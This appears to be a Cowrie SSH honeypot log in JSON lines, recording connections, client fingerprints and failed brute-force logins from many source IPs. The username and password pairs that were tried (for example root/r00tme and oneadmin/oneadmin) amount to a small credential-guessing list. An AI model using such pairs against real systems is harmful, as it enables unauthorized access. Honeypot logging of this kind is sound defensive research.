{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:06:28.107911Z","src_ip":"163.53.168.23","session":"13d81f3b88f4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:06:28.212678Z","src_ip":"171.244.37.97","session":"38b88cd91849","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"@st3r1sk","message":"login attempt [root/@st3r1sk] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:06:29.660679Z","src_ip":"163.53.168.23","session":"13d81f3b88f4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.0","message":"Connection lost after 3.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:06:30.890505Z","src_ip":"163.53.168.23","session":"13d81f3b88f4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.151","src_port":55224,"dst_ip":"159.203.135.109","dst_port":22,"session":"b7882cf697c2","protocol":"ssh","message":"New connection: 193.32.162.151:55224 (159.203.135.109:22) [session: b7882cf697c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:06:31.174167Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:06:31.179281Z","src_ip":"193.32.162.151","session":"b7882cf697c2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:06:31.287090Z","src_ip":"193.32.162.151","session":"b7882cf697c2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"oneadmin","password":"oneadmin","message":"login attempt [oneadmin/oneadmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:06:31.660425Z","src_ip":"193.32.162.151","session":"b7882cf697c2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:06:32.767739Z","src_ip":"193.32.162.151","session":"b7882cf697c2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.135.168.126","src_port":41996,"dst_ip":"159.203.135.109","dst_port":22,"session":"8f16fc8492a8","protocol":"ssh","message":"New connection: 43.135.168.126:41996 (159.203.135.109:22) [session: 8f16fc8492a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:06:39.351055Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:06:39.356405Z","src_ip":"43.135.168.126","session":"8f16fc8492a8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:06:39.425104Z","src_ip":"43.135.168.126","session":"8f16fc8492a8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Asdf@1234","message":"login attempt [root/Asdf@1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:06:39.735079Z","src_ip":"43.135.168.126","session":"8f16fc8492a8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.1.45","src_port":53142,"dst_ip":"10.17.0.5","dst_port":22,"session":"c228a15fa019","protocol":"ssh","message":"New connection: 43.134.1.45:53142 (10.17.0.5:22) [session: c228a15fa019]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:06:40.268507Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:06:40.273586Z","src_ip":"43.134.1.45","session":"c228a15fa019","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:06:40.510883Z","src_ip":"43.134.1.45","session":"c228a15fa019","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:06:40.806499Z","src_ip":"43.135.168.126","session":"8f16fc8492a8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"squid123","message":"login attempt [root/squid123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:06:41.489700Z","src_ip":"43.134.1.45","session":"c228a15fa019","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:06:42.729985Z","src_ip":"43.134.1.45","session":"c228a15fa019","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"89.108.118.91","src_port":47216,"dst_ip":"159.203.135.109","dst_port":22,"session":"1b4c71fbc80f","protocol":"ssh","message":"New connection: 89.108.118.91:47216 (159.203.135.109:22) [session: 1b4c71fbc80f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:06:43.761537Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:06:43.765793Z","src_ip":"89.108.118.91","session":"1b4c71fbc80f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:06:43.904066Z","src_ip":"89.108.118.91","session":"1b4c71fbc80f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"jackie","message":"login attempt [root/jackie] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:06:44.324134Z","src_ip":"89.108.118.91","session":"1b4c71fbc80f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:06:45.464107Z","src_ip":"89.108.118.91","session":"1b4c71fbc80f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.99.190.200","src_port":53008,"dst_ip":"10.17.0.5","dst_port":22,"session":"b8b6c9024de5","protocol":"ssh","message":"New connection: 209.99.190.200:53008 (10.17.0.5:22) [session: b8b6c9024de5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:06:47.607231Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:06:47.611799Z","src_ip":"209.99.190.200","session":"b8b6c9024de5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:06:47.704773Z","src_ip":"209.99.190.200","session":"b8b6c9024de5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"r00tme","message":"login attempt [root/r00tme] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:06:48.105211Z","src_ip":"209.99.190.200","session":"b8b6c9024de5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"190.119.63.98","src_port":12922,"dst_ip":"10.17.0.5","dst_port":22,"session":"deb26b564131","protocol":"ssh","message":"New connection: 190.119.63.98:12922 (10.17.0.5:22) [session: deb26b564131]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:06:49.088869Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:06:49.093988Z","src_ip":"190.119.63.98","session":"deb26b564131","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:06:49.199832Z","src_ip":"209.99.190.200","session":"b8b6c9024de5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:06:49.282447Z","src_ip":"190.119.63.98","session":"deb26b564131","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Netwatch!@#","message":"login attempt [root/Netwatch!@#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:06:49.917765Z","src_ip":"190.119.63.98","session":"deb26b564131","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:06:51.146717Z","src_ip":"190.119.63.98","session":"deb26b564131","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.128.112.183","src_port":56696,"dst_ip":"10.17.0.5","dst_port":22,"session":"d96e56d5678a","protocol":"ssh","message":"New connection: 43.128.112.183:56696 (10.17.0.5:22) [session: d96e56d5678a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:06:58.967771Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:06:58.972339Z","src_ip":"43.128.112.183","session":"d96e56d5678a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:06:59.201650Z","src_ip":"43.128.112.183","session":"d96e56d5678a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.56.192","src_port":45246,"dst_ip":"10.17.0.5","dst_port":22,"session":"255e552134c1","protocol":"ssh","message":"New connection: 43.153.56.192:45246 (10.17.0.5:22) [session: 255e552134c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:06:59.300111Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:06:59.305105Z","src_ip":"43.153.56.192","session":"255e552134c1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:06:59.373694Z","src_ip":"43.153.56.192","session":"255e552134c1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"polkadot","message":"login attempt [root/polkadot] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:06:59.680922Z","src_ip":"43.153.56.192","session":"255e552134c1","protocol":"ssh"}
